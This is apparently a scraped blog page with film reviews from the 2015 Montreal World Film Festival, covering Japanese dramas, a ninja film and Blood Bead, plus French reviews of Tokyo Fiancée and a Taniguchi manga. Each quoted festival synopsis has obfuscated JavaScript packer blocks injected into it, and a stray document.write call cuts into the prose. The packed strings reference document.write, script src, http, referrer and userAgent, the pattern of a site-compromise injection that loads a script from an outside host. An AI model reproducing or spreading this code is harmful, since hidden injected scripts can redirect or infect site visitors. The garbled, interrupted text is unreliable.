Early Spring, Sakurajima

“Takashi Arimura had been working in Kyoto. Now that he’s reached the age of retirement he’s returned to his hometown, document.write(“”); Kagoshima. A beautiful city with a volcano overlooking it, but the vista can’t make up for the fact that life in retirement is depressing. With the encouragement of his wife, Kyoko, he takes up a new hobby — drawing. He picks a paintbrush for the first time. The world now looks very different. He now has a goal in life. Can he reach it?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsfan|var|u0026u|referrer|fasbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbese|var|u0026u|referrer|ztest||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie shows us the boring life of a retired elderly couple. With her husband’s retirement money, Kyoko can finally open her own very small movie theatre. And Takashi can start to paint again, but he feels unhappy and thinks he has no talent. Life seems not worth living and he feels like just killing time before death. He meets a fortune teller who somehow predicts him better days and encourages him to be more optimistic.

He finds a new fascination for the Sakurajima island and its active volcano, so he starts making many trips there to paint the volcano. He submit his painting for a local exposition but it is not selected. However, he has found a new joy and feels life is worth living again.

The movie was shot in cinéma-vérité style with very little dialogue and some weird angle shots. The pace is so slow that the story doesn’t seem to progress at all sometimes. The movie seems excruciatingly long despite that it’s only eighty-eight minutes long! The photography is good and gives us the opportunity to see the beautiful countryside of Sakurajima as well as the rather ordinary cityscape of Kagoshima. It represents the image of the real, everyday Japan which is somewhat rather refreshing.

Despite its shortcomings, the movie offer an interesting subject. More and more Japanese are living longer to enjoy their retirement, even on a merger revenue (this couple didn’t seem rich at all since they live very simply, in a very small house and his clothing have many patches). They must find hobbies to make their retiring enjoyable.

Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 16, 16h00 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Early Spring, Sakurajima © 2015 Skeleton Films.

[ Traduire ]

Blowing in the winds of Vietnam

“Misao Sasho teaches Japanese in Hanoi, document.write(“”); Vietnam. One day she receives a phone call from Japan informing her of her father’s passing. Upon returning to Japan for her father’s funeral, she realizes that her mother has deteriorated and is becoming senile. She decides to take her back to Vietnam. The new environment works wonders. Misao’s mother enjoys the company of Misao’s acquaintances. She is suddenly the centre of attention…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dansa|var|u0026u|referrer|ieday||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|resra|var|u0026u|referrer|dzbzn||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is one of the two best movies I’ve seen at the MWFF in 2015.

Misao is teaching Japanese in Hanoi, Vietnam. When she returns to Tokyo for her father’s funeral, she realizes that her mother Alzheimer’s disease has gotten worse. She’ bored at a stranger’s funeral: her husband’s! Her step-mother cannot take care of her anymore so Misao decides to bring her back to Vietnam with her, despite the opposition of her family. “It will make her worse” or “it will kill her,” they say.

At first, it works out pretty well and, despite the language barrier, her mother is getting along with Misao’s friends, students and the people of the neighbourhood (mostly owners of the local cafe’s, the Sakura Hotel, Japanese bar, the programming director of the VoV radio station, as well as the staff of the Youth Theatre, and a Japanese expat who drives a bicycle taxi). Together, they all live several adventures like helping a young Japanese woman to find her grand-father’s Vietnamese family that he left behind after WWII or organizing a musical show starring a very old (and also Alzheimer’s sufferer) theatrical actress.

Misao is even reacquainted with an old friend from her college days — when they were protesting during the university uprisings of the ’60s. He takes a job as another bicycle taxi driver but has an accident while carrying Misao’s mother who gets seriously hurt. Feeling guilty, he helps taking care of the old women after her hospitalization, but he has to leave because of his job as a TV producer. However, Misao cannot take care of her mother alone. It is a vey demanding task and she gets sick herself because of it. This is quite a somber moment in the movie and we really feel the pain for her (it has particularly hit home for me because, at the time of the screening, I had recently experience a similar situation in my family).

In the end, the mother gets better (from her hip replacement NOT from the Alzheimer’s because you never get better from that, you can only slow it down a little). Misao’s students stage a musical around a Japanese folk song that can provide a sort of allegory for Misao’s situation. Apart from Misao’s mother post-accident despair, it a fell-good and up beat movie. We have to take one day at a time and enjoy life while we can — and not give up on our loved ones.

The movie not only want to create awareness on the fact that the increasingly aging population of Japan means that the society will have to deal more and more with the problem of elderly’s dementia, but also it wants to remind the Japanese of the close ties (and maybe responsibilities) that still bind them with Vietnam, which was one of their pre-WWII “colonies.”

One negative point: I was told by someone who speaks vietnamese that the language spoken by the Japanese actors (which they most certainly learned phonetically) was so terrible that it was impossible to understand.

It is a well-paced drama that offers lots of light-hearted moments and allows the viewers to enjoy not only the beautiful cityscape of Hanoi, but also the surrounding countryside.

I really enjoyed this beautifully made movie which provided an excellent entertainment while making us think about very serious subjects like alzheimer and wars in Vietnam.

Blowing in the winds of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 12, 21h30 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Blowing in the wind of Vietnam © 2015?Blowing in the wind of Vietnam?Production Committee.

[ Traduire ]

Blood Bead

“Tokita, document.write(“”); already into his middle age, has been teaching at a film school in Kyoto for a while. He would prefer to be directing films rather than teaching about them but it pays the bills and life isn’t bad. Indeed, he is having an affair with Yui, the pretty secretary of the film school. Still, the fact that he hasn’t been able to finish his script and find funding for his project nags him enormously. He is a filmmaker not a schoolteacher… Then, on the street, he runs into a striking young high school girl and his life changes. Not necessarily for the better. He is immediately smitten with Ritsuko. He begins to stalk her. He becomes delusional. His life itself becomes a film. And its ending has not been written.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrzhz|var|u0026u|referrer|rhtin||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysit|var|u0026u|referrer|sfhnz||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I enjoyed this movie (what’s not to like with a movie with lots of beautiful nudity?) but it’s a little hard to talk about it. I’ll do my best. The story is relatively simple and yet rather complex altogether. However, it’s always interesting when movie makers turn the camera on themselves.

Movie director Tokita (Eiji Okuda) is teaching at a film school in Kyoto. He has a rather good life with his mistress Yui, a secretary at the film school, but he would rather be making movies than teaching about them. However, he has not been able to finish a script in a while. He says that, as long as he is thinking about a script, he can still feel he is a director. He is currently working on a pinku eiga script largely inspired by his relationship with Yui.

Tokita is in his sixties and can hardly get an erection, particularly when he’s drunk, but it only makes him more obsess with sex. The title of the movie refers to the “Akadama” legend saying that a blood bead will come out to mark the very last ejaculation of a man.

One day, he notices a high school girl and starts following her, stalking her and becomes obsess by her. He imagines having an affair with her, rapping her even, but he is stuck and doesn’t know how to end his story. At some point, he discovers that the school girl prostitutes herself (she’s charging $700!). He succumbs to the temptation and sleeps with her, but feels disgusted with himself afterward. Seeing his increasing obsession for Ritsuko while typing the script, Yui decides to leave Tokita.

Tokita feels desperate but succeed to finish the script anyway and presents it to a production company which doesn’t sound very receptive. He pleads that it would be his last movie, and ask to please give him a chance! Tokita gets drunk but, as he receives an email from the production company saying that they agree to finance his movie on some conditions, he gets hit by a car and dies!

Once again we have here a movie that tackles the subject of the increasingly older population of Japan which reflects a serious preoccupation among the population. This time we are presented with the despair that sexual frustration and the worth of one’s legacy can provide to an elderly man.

Director Banmei Takahashi, who is himself not unfamiliar with pinku eiga, said in the Q&A that he thought young directors were not putting enough sex in their movies and he wanted to remedy that. He also said that he killed the main character at the end because one of his friends died that way and he wanted to make an homage to him.

During the course of the movie we follow both Tokita’s life, the story of his script as well as his own fantasies, and this makes it rather difficult sometimes to discern which is what. However, it is a good and interesting movie — albeit a little weird — that offers a reflection not only on Japanese cinema but also on the life of elderly men. And, of course, there’s plenty of sex scenes!

Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko). For a mature audience (18+).

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 10, 19h00 – the theatre was a little less than half full) as part of the “World Great” segment. The director was present for a Q&A after the screening.

For more information you can visit the following websites:
Blood Bead © 2015?Blood Bead?Production Committee. All Rights Reserved.

Introduction and Q&A


[ Traduire ]

Kagura-me

“Akane, document.write(“”); a young woman who lives in a small rural town in Japan, loses her mother when she is a child, and cannot overcome the loss. Akane’s father had left her mother’s side before she passed away because he went to perform kagura, a traditional ritual dance at Japanese festivals. Akane has never forgiven him and seldom talks to him. Not that he doesn’t regret his action. He too was deeply affected by his wife’s death and he never performed kagura again. Akane leaves home after high school graduation, and starts a new life far away in Tokyo. But life in the big city is overwhelming and Akane returns home after five years. Thirteen years after her mother’s death, Akane’s father has decided to come out of retirement, just to be able to dance in the big 60th anniversary festival. But he has aged. He has serious health problems. He collapses in rehearsal and it becomes clear that he won’t be able to perform. But Akane’s heart has softened. How can she help him? Perhaps by learning kagura?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyhf|var|u0026u|referrer|hfets||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idsen|var|u0026u|referrer|zefns||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie is very Japanese: it is beautiful and slow paced. It’s a rather complex story and the festival’s program did a very good job at summarizing it, so I won’t say more about it. It’s set around a rural ritual where one danse to please the gods in order to get a good harvest, but it’s a story about grief, about caring for elderly parents, and a little about domestic violence. It poses a very fundamental question about modern life in Japan: is it better to preserve the tradition as it always was or should we adapt it to modern life and therefore preserve the tradition spirit rather than its strict form?

Exceptionally, this movie was subtitled in french (which is rather rare at the MWFF as it is done mostly for the movies in competition) but, unfortunately, this time the subtitling was full of mistakes. Bad translation and spelling mistakes can be quite distracting from the movie itself. The translation was probably done hastily to present the movie at the festival.

All in all, it remains a beautiful movie (Japan’s countryside is always pleasant to look at) about the trials of life.

Kagura-me (???? / lit. “god enjoyment’s woman”): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 9, 15h00 – the theatre was a little less than a quarter full) as part of the “First Film World Competition” segment. The production team organizer was present to introduce the movie.

For more information you can visit the following websites:

Introduction of the screening


Kagura-me © ?Kagura-me?Production Committee.

[ Traduire ]

Ninja Hunter

“In 1581 during a bitter feud between 2 ninja clans, document.write(“”); Tao, a ninja from the Iga Clan, wakes up with amnesia. Forty ninjas lie dead in front of him and off to one side lies a dead female ninja. He doesn’t remember how and why he got there. His assignment is to retrieve a document that will reveal the traitor’s identity. Who killed all the ninjas? Is one of them the traitor? Little by little Tao solves the mystery.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|setef|var|u0026u|referrer|srkaa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeadn|var|u0026u|referrer|kaenk||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This screening was plagued from the start by numerous technical problems: the show started ten minutes late, there was microphone problems for the presentation, not long after the beginning the movie lost its sound, then there was sound but no picture, repeatedly. After forty-five minutes of agony, the screening was definitely stopped. I had to finish watching this movie in the press screening room later. In the end, this movie was a great disappointment.

Kei is a female ninja sent to the Koga clan as double agent. She comes back with a list of traitors inside the Iga clan. After bringing the list she go to see Tao, her friend. A battle ensue and Tao is hit on the head, loosing his memory. Now, Kei is dead, and he is not sure who the enemy is anymore. Maybe he is one of the traitor? Or is he one of the heroes? He will have to slowly figure out what happened.

This is clearly a low budget movie (they use lots of natural set like cave, temple, forest) that makes a terrible ninja movie with lots of bad fighting stunt. The costumes of not historically accurate (lots of leather and the female ninja wears high heel boots!) and the blood looks horribly fake. And there’s this very annoying special effects that marks the beginning and end of all flashbacks. The end credits are nice, though.

The idea is interesting but the execution is rather clumsy. The movie repeats the same battle scene again and again, each time with a different point of view, in order to show Tao’s conflicting memories, his current understanding of the situation or the reversal of his hypothesis. Did I mention the annoying flashbacks? The final battle is quite ridiculous. It’s an entertaining movie, but nothing more.

It is a kind of movie that would have had more appeal with the Fantasia audience, which is younger and specifically seek this kind of not-so-serious action movie. I guess that adding this title to the programming was an attempt from the MWFF to reach out to this kind of audience—without much success.

Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarô Shimazu, Kazuki Tsujimoto.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 16h00 – the theatre was a little more than a quarter full) as part of the “Focus on World Cinema” segment. The screening was interrupted due to technical problems.

For more information you can visit the following websites:
Ninja Hunter © 2015 Shochiku International.

[ Traduire ]

Tokyo Fiancée / Ni d’Eve ni d’Adam

“La tête pleine de rêves, document.write(“”); Amélie, 20 ans, revient dans le Japon de son enfance. Pour gagner sa vie, elle propose des cours particuliers de français et rencontre Rinri, son premier et unique élève, un jeune Japonais avec lequel elle noue une relation intime. Entre surprises, bonheurs et déboires d’un choc culturel à la fois amusant et poétique, elle découvre un Japon qu’elle ne connaissait pas…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhnhr|var|u0026u|referrer|ydise||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsbhz|var|u0026u|referrer|hzrkf||js|php’.split(‘|’),0,{}))

Tokyo Fiancée : Belgique/France/Canada, 2014, 84 min.; Dir./Scr.: Stefan Liberski (d’après le roman d’Amélie Nothomb); Ed.: Frédérique Broos; Phot.: Hichame Alaouie; Mus.: Casimir Liberski; Cast: Pauline Étienne, Taichi Inoue, Julie LeBreton.

« Stupeur et tremblements pourrait donner l’impression qu’au Japon, à l’âge adulte, j’ai seulement été la plus désastreuse des employés. Ni d’Ève ni d’Adam révélera qu’à la même époque et dans le même lieu, j’ai aussi été la fiancée d’un Tokyoïte très singulier. »
                         -Amélie Nothomb.

Ni d’Eve ni d’Adam, par Amélie Nothomb. Paris, Albin Michel, 2007. 252 p. 13.0 x 20.0 cm, 18.20 € / $11.95 Cnd. ISBN 9782226179647.

Tokyo Fiancée nous offre une intéressante réflexion sur la diversité culturelle, l’étrangeté de l’autre, et particulièrement sur la difficulté des couples mixtes à concilier cette différence qui les sépare.

Si le film en lui-même est assez bon, il est aussi une excellente adaptation du roman de Amélie Nothomb. Il y a bien sûr de nombreuses différences entre les deux (quelques scènes manquantes dans le film, la motivation des personnages expliquée plus en profondeur dans le roman) mais dans l’ensemble tout l’esprit du livre est présent dans le film. C’est non seulement agréable et divertissant à regarder mais aussi très intéressant.

Pour plus d’information vous pouvez consulter les sites suivants:

Cette histoire de couple, que ce soit dans le film ou le livre, est particulèrement intéressante lorsqu’on la remet dans le contexte de l’oeuvre (et de la vie) de l’auteur. Elle fait non seulement partie des titres de Nothomb qui sont en partie autobiographiques (mais ne le sont-ils pas tous un peu?) mais est également l’un des éléments de sa “trilogie japonaise”. Stupeur et tremblement raconte le retour de l’auteur au japon, où elle avait passé son enfance, mais traite surtout de ses mésaventures au sein d’une corporation japonaise et comment l’esprit collectif japonais du jeune travailleur y est façonné par des règles strictes et par l’humiliation afin de le conformer au modèle uniforme et docile auquel s’attend la société japonaise — ce qui est toujours pire dans le cas d’une femme. Dans Nostalgie Heureuse, l’auteur raconte son second retour au Japon dans le cadre d’un reportage tourné pour la télévision française. Ni d’Eve ni d’Adam lève le voile sur la partie de l’histoire à laquelle elle avait mainte fois fait allusion sans jamais donner de détails: la relation amoureuse qu’elle a entretenu au cours de son premier retour avec un jeune japonais.

Ayant grandit au Japon, elle s’était toujours considérée comme japonaise mais son expérience durant ce premier retour lui fera réaliser que la nature nippone est beaucoup plus complexe et profonde qu’elle ne se l’imaginait…

Le livre, quant à lui, offre une narration très fluide, parsemé de l’humour sarcastique et un peu déjanté si particulier à Nothomb. C’est une très bonne lecture (comme la plupart des Nothomb).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Ice Age chronicle of the earth, vol. 1 & 2

Vol. 1: “Dans le futur, document.write(“”); tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. À son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbbz|var|u0026u|referrer|kyeft||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zktfk|var|u0026u|referrer|ktyed||js|php’.split(‘|’),0,{}))

“Saura-t-il faire face à son destin ?”

Vol. 2: “Dans le futur, alors que la fin de l’âge glaciaire se fait sentir, tous les êtres vivants se lancent dans une nouvelle course à l’évolution. Guidé par un Medishin, un Dieu bleu, Takéru devra affronter la Grande Mère pour résoudre le mystère A-D-O-L-F… Le destin de l’humanité pourrait en dépendre…”

Découvrez ce diptyque mythique et visionnaire signé Jirô Taniguchi !

(Texte du site de l’éditeur: Vol. 1 & Vol. 2; voir les couvertures arrières: Vol. 1 & Vol. 2)

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers” (a.k.a. divulgacheurs)! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Comme je l’ai déjà dit quand j’ai découvert ce manga, les éditeurs de français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait sans doute lire et s’inspirer du magazine français Métal Hurlant

Dans un futur lointain, la Terre est entièrement soumise aux conditions d’un âge glaciaire: la 8e glaciation (glaciation de Murtok). Situé sur Nunatak, une île de l’Arctique, le site minier de Tarpa est exploité par la Régie pour le Développment des Ressources Shivr. Le fils rebel du président de la compagnie, Takéru, y a été exilé afin de le rendre plus mature. Lors d’un accident causé par de l’équipement vieillissant, le directeur de la mine est gravement blessé. Avant de mourir, il remet à Takéru une boite qui contient le bracelet sacré de sa défunte mère et un message de son père qui l’averti que des changements climatiques sans précédents sont sur le point de se produire. Takéru est nommé le nouveau directeur, mais il s’en fout. Toutefois, le cargo qui devait amené le ravitaillement et évacuer la plupart des travailleurs pour le dur hiver arctique est détruit lors d’une attaque de pirate. Un groupe de travailleurs décident d’évacuer quand même dans des navettes de secours mais ils crashent dès qu’ils sont sorti du puit de la mine à cause des vents violents. [ci-contre: p. 33]

Takéru organise une mission de sauvetage mais tout les passagers des navettes sont mort de froid sauf un, qui restera gravement handicapé. Et l’un des sauveteurs meurt dans un accident. Tarpa est maintenant coupé du reste du monde, sans ravitaillement. Takéru escalade donc à nouveau la paroi du puit de la mine afin d’aller investiguer ce qui arrive à la planète et ramener des secours. Mais le monde extérieur est un environnement glacial et hostile, peuplé d’insectes, de baleines et d’ours géants! Et ce ne sera pas les seules surprises: Takeru entrevoit dans une crevasse, le sarcophage d’un géant bleu! Grâce à une caravane de chameaux des glaces, ils échappent aux tournades et autres dangers de l’Inlandsis, et parviennent à un village. Là, une vieille chamane révèle à Takeru la prophétie: les Medishin, dieux géants bleus qui étaient venu les avertir de la longue saison de glace, se réveilleront pour les guider dans une nouvelle ère. Car “la Terre qui dormait sous la glace depuis des centaines de générations a commencé à ouvrir les yeux. Bientôt… Les montagnes, les forêts, les rivières se mettront en colère…” Les événements sont déjà en marche dans le sud. C’est là que Takéru doit se rendre !

Extraits des pages 15, 21 et 204 du premier volume

Takéru et son petit groupe tente de rejoindre la capitale, Abyss. Ils atteignent d’abord le dépôt logistique de surface Earliss II, où ils trouvent quelques survivants et un vieux cargo de transport aérien. L’ordinateur de la base confirme leur craintes: l’axe de rotation de la planète à changé, il y a une activité volcanique accrue, une hausse de gaz carbonique, un réchauffement de la température et donc une rapide fonte des glace. La période glaciaire est terminée! Les cendres d’une éruption volcanique endommagent les moteurs du cargo qui crash dans une gigantesque forêt vivante et carnivore! Ils continue leur voyage sur une rivière à l’aide d’un radeau de fortune, puis monte à bord d’un prospecteur robotisé. Ils apprennent que la capitale est inondée, envahit par la forêt, en ruine. L’océan végétal ne tarde pas à attaqué aussi leur véhicule, à l’aide d’une sève acide. Takéru ressent la conscience collective d’un arbre géant. Il se souviens avec horreur des êtres sans racines. Mais le dieu bleu apparait et calme l’arbre… Il révèle à Takéru que lui aussi a le pouvoir de communiquer avec la conscience de la planète.

